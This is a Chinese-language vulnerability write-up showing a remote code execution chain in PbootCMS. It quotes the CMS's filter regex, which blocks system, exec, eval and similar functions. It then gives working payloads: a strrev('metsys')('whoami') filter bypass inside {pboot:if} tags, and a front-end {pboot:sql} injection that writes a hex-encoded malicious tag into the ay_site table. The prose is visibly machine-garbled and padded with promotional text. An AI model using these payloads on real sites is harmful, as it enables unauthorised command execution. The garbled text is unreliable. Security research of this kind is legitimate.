接着直接来看代码,首先目标仍旧是解析if标签的代码块,看一下三个正则
/\{pboot:if\(([^}^$]+)\)\}([\s\S]?)\{\/pboot:if\}//([\w]+)([\x00-\x1F\x7F\/\<\>\%\w\s\\]+)?\(/i/(\([\w\s\.]+\))|($_GET\[)|($_POST\[)|($_REQUEST\[)|($_COOKIE\[)|($_SESSION\[)|(file_put_contents)|(file_get_contents)|(fwrite)|(phpinfo)|(base64)|(`)|(shell_exec)|(eval)|(assert)|(system)|(exec)|(passthru)|(pcntl_exec)|(popen)|(proc_open)|(print_r)|(print)|(urldecode)|(chr)|(include)|(request)|(__FILE__)|(__DIR__)|(copy)|(call_user_)|(preg_replace)|(array_map)|(array_reverse)|(array_filter)|(getallheaders)|(get_headers)|(decode_string)|(htmlspecialchars)|(session_id)/i
没有耐心看完的看这里:
我是一名网络安全事情者,喜好安全,热爱安全,其余我整理了一些渗透测试、学习视频300PDF等供大家学习(文中只是一部分),感兴趣的可以保存下来阅读

须要300PDF的网络安全资料请关注我:私信回答“资料”获取更多网络安全口试资料、源码、条记、视频架构技能
相对付上一个版本来说,第三条正则多了(([\w\s.]+))如图
这里猜想开拓者是想禁止if标签中条件代码段中的小括号存在内容,但是经由测试xxx(“xxx”)这样的形式可以忽略正则并不影响我们的代码实行,现在如果我们可以直接编辑模版,以实行system函数为目标,来研究一下如何实行代码;
为了绕过system的正则校验,可以利用如下办法绕过
strrev('metsys')('whoami');
那么很随意马虎想到利用如下payload测试
{pboot:if(1) strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
测试之后会创造并不能实行,由于无法绕过第二条正则,我们可以通过大略的输出来打印下程序在进行安全校验的情形
可以看到在这里较验到了strrev是一个已定义的函数,以是语句被拦截,接着我们来考试测验在strrev前面加上一些字符查看一下情形
{pboot:if(1) xxx strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
可以看到涌现了eval实行缺点的信息,这解释我们成功绕过了校验,eval实行了我们输入的内容,只不过当前内容实行时报出了缺点,那么接下来的目标就很明确了,我们须要探求一个可以代替xxx的内容,使eval实行不会报错;经由搜索我创造了这样一条内容
大略来测试一下
果真符合我们的哀求,考试测验如下payload
{pboot:if(1) echo strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
成功实行了system函数,后来经由思考和测试,实在利用注释也是可以的,如下
{pboot:if(1) /y/ strrev('metsys')('whoami');//)}y7m01i{/pboot:if}
但是光是这样实行命令是不足的,我们须要探求到一处用户可控的点来解析if标签,在上面的参考文章中我们易得在前台搜索功能处可以解析我们输入的if标签,并且对付pboot@if的更换可以利用
{pboot{user:password}:if
这样的形式绕过,但是在该版本中移除了decode_string函数,在标签解析时单双引号是编码过的,无法正常解析,然而从前面的剖析知道我们目前的利用办法须要利用但双引号来绕过第二个正则的校验,以是目前为止在前台搜索处我们暂时是无法利用的,以是我们须要探求一下是否存在其他的利用办法,与我们目前所节制的条件合营来进行利用。
在翻看cms更新日志的时候我创造了这样一条描述
程序新增加理解析sql的标签,这就意味着我们可能在前台利用搜索功能,实行我们想要的sql语句,这时一条利用链初步浮现在我的脑海里;我们知道在以前的版本中可以利用在后台配置处插入我们的标签语句,终极语句是存储在数据库中的,如果我们可以利用前台搜索功能实行sql语句,将标签插入到数据库中,就可以跨过后台配置功能直接RCE,那么目前我们面临着两个问题须要弄清楚;
1.标签该写在哪张表的那个字段
2.前台搜索功能处如何能实行我们的sql语句
首先第一个问题很好办理,在之前的版本中我们是在站点信息的尾部信息处来写入标签,对应的是ay_site表中的copyright字段,那么我们写入标签的语句初步为
update ay_site set copyright= (标签的16进制,避免引号) where id = 1;
接着我们查看一下解析sql标签的代码
// 解析自定义SQL循环 public function parserSqlListLabel($content) { $pattern = '/\{pboot:sql(\s+[^}]+)?\}([\s\S]?)\{\/pboot:sql\}/'; $pattern2 = '/\[sql:([\w]+)(\s+[^]]+)?\]/'; if (preg_match_all($pattern, $content, $matches)) { $count = count($matches[0]); for ($i = 0; $i < $count; $i ++) { // 获取调节参数 $params = $this->parserParam($matches[1][$i]); if (! self::checkLabelLevel($params)) { $content = str_replace($matches[0][$i], '', $content); continue; } $num = 1000; // 最大读取1000条 $sql = ''; foreach ($params as $key => $value) { switch ($key) { case 'num': $num = $value; break; case 'sql': $sql = $value; break; } } // 分外表不许可输出 if (preg_match('/ay_user|ay_member/i', $sql)) { $content = str_replace($matches[0][$i], '', $content); continue; } // 判断是否有条数限定 if ($num && ! preg_match('/limit/i', $sql)) { $sql .= " limit " . $num; } // 读取数据 if (! $data = $this->model->all($sql)) { $content = str_replace($matches[0][$i], '', $content); continue; } // 匹配到内部标签 if (preg_match_all($pattern2, $matches[2][$i], $matches2)) { $count2 = count($matches2[0]); // 循环内的内容标签数量 } else { $count2 = 0; } $out_html = ''; $pagenum = defined('PAGE') ? PAGE : 1; $key = ($pagenum - 1) $num + 1; foreach ($data as $value) { // 按查询数据条数循环 $one_html = $matches[2][$i]; for ($j = 0; $j < $count2; $j ++) { // 循环更换数据 $params = $this->parserParam($matches2[2][$j]); switch ($matches2[1][$j]) { case 'n': $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key) - 1, $one_html); break; case 'i': $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $key), $one_html); break; default: if (isset($value->{$matches2[1][$j]})) { $one_html = str_replace($matches2[0][$j], $this->adjustLabelData($params, $value->{$matches2[1][$j]}), $one_html); } } } $key ++; $out_html .= $one_html; } $content = str_replace($matches[0][$i], $out_html, $content); } } return $content; }
个中有一处安全过滤
sql语句不许可对ay_user与ay_member两个表进行操作,但是不影响我们写标签到数据库;接着看该段代码,个中的重点在this−>parserParam(this->parserParam(this−>parserParam(matches[1][$i]);,
跟进该方法
我们打印一下解析后的内容,利用如下标签来测试
{pboot:sql sql=update ay_site set copyright= 0x68656c6c6f where id = 1;#}11{/pboot:sql}
语句没有被精确的解析出来,仔细查看源码该当是被分割语句的正则匹配到了,考试测验将空格更换成注释
{pboot:sql sql=update//ay_site//set//copyright=//0x68656c6c6f//where//id//=//1;#}11{/pboot:s
成功解析到我们想要的语句,去前台实行一下
数据库中内容成功进行了更新,把hello换成我们的标签语句
{pboot:sql sql=update//ay_site//set//copyright=//0x67b70626f6f747b757365723a70617373776f72647d3a6966283129656368
接着访问首页
总结
造成该漏洞的紧张缘故原由还是由于程序增加了新的功能点,并且功能点没有进行完全的安全防御,导致可以在前台直接实行sql语句,进而将可实行的标签写入数据库,在前台解析实行命令;这也提醒我们在平时挖掘漏洞的时候可以多把稳一些新添加的功能,同时充分理解过往存在的漏洞,打出组合拳每每有出其不虞的效果
我是一名网络安全事情者,喜好安全,热爱安全,其余我整理了一些渗透测试、学习视频300PDF等供大家学习(以上只是一部分),感兴趣的可以保存下来阅读
须要300PDF的网络安全资料请关注我:私信回答“资料”获取更多网络安全口试资料、源码、条记、视频架构技能
末了,感谢您的关注和阅读!
!